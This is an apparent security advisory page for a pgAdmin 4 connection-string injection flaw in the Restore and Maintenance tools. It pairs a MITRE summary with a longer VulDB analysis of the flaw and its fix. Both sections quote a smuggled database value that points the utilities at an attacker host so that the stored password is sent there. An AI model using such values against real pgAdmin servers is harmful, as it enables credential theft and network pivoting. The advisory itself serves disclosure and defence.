CVE-2026-86862 in pgAdmin
Summary
by MITRE • 09/17/2026
pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user.
The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed.
The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment.
This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.
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Analysis
by VulDB Data Team • 09/17/2026
The vulnerability identified in pgAdmin 4 involves a critical flaw within its database restoration and maintenance utilities, specifically affecting versions prior to release 9.18 where these features were introduced with direct command-line argument passing. The core technical issue stems from the application's handling of the client-supplied 'database' field when invoking external PostgreSQL utility binaries such as pg_restore and psql. Instead of treating this input strictly as a database identifier, pgAdmin passes it directly to the --dbname option. This design choice is problematic because the underlying libpq library, which manages connections for these utilities, possesses specific parsing logic that interprets an equals sign within the provided string not merely as part of a name but as the delimiter for connection keyword-value pairs. Consequently, if a user supplies a database name containing an equals sign, libpq expands this input into a full connection string configuration rather than treating it as a literal identifier.
This parsing behavior creates a severe security bypass that allows for server redirection and credential exfiltration. When the application constructs the command line to execute pg_restore or psql, it also supplies standard arguments such as --host and --port to specify the target database server intended by the administrator. However, because connection keywords embedded within the expanded value of the --dbname argument take precedence over explicitly provided host and port parameters, an attacker can override these settings. By supplying a maliciously crafted string like 'host=attacker.example port=5432 dbname=x', the utility is forced to establish its connection with the attacker-controlled server rather than the legitimate database instance specified by pgAdmin's configuration. This effectively hijacks the execution context of the maintenance tool, redirecting all subsequent operations and data transfers away from the intended infrastructure.
The impact of this redirection extends beyond mere service disruption or unauthorized access control bypass; it facilitates a direct credential theft vector. Prior to executing these utilities, pgAdmin exports the decrypted stored database password into the PGPASSWORD environment variable to allow the external processes to authenticate without interactive prompts. When the connection is redirected to an attacker-nominated endpoint via the aforementioned mechanism, this plaintext password is transmitted directly to the malicious server. This results in a complete compromise of the administrative credentials associated with that specific database account. Furthermore, because the redirection originates from within the pgAdmin application process, it permits outbound network connections from the host running pgAdmin to arbitrary addresses. This capability allows attackers to probe internal networks or reach external resources that might otherwise be blocked by firewall rules restricting direct user access but permitting traffic initiated by the web server or application backend.
Access to this vulnerability is relatively straightforward for malicious actors within a compromised environment, as it requires only authenticated status with either tools_restore or tools_maintenance permissions. These permission sets are granted by default to the standard User role in pgAdmin configurations, meaning that any legitimate user who has been assigned basic operational privileges can exploit this flaw without needing elevated administrative rights. The vulnerability was not present in the earliest releases of these tools because an initial implementation included a quoting helper wrapper around the database value which incidentally prevented the expansion logic from triggering. However, when this protective wrapper was removed to improve functionality or fix other issues, the underlying susceptibility to connection string injection was exposed and remained unpatched until version 9.18.
The remediation strategy implemented in pgAdmin 4 addresses this flaw by altering how the target database identifier is passed to libpq. Instead of relying on the --dbname command-line argument which is susceptible to parsing ambiguities, the fix utilizes the PGDATABASE environment variable. The libpq library treats values provided via PGDATABASE as literal database names and does not perform connection string expansion on them, thereby neutralizing the injection vector. In scenarios where pg_restore strictly requires a present --dbname argument for operational validity, the application passes an empty value to this flag. Since an empty string contains no equals sign, it cannot be interpreted as a connection keyword-value pair, ensuring that libpq ignores it and defaults to using the literal name provided in PGDATABASE. This approach ensures that the database selection remains under strict administrative control while preventing user-supplied input from influencing network routing or credential transmission paths.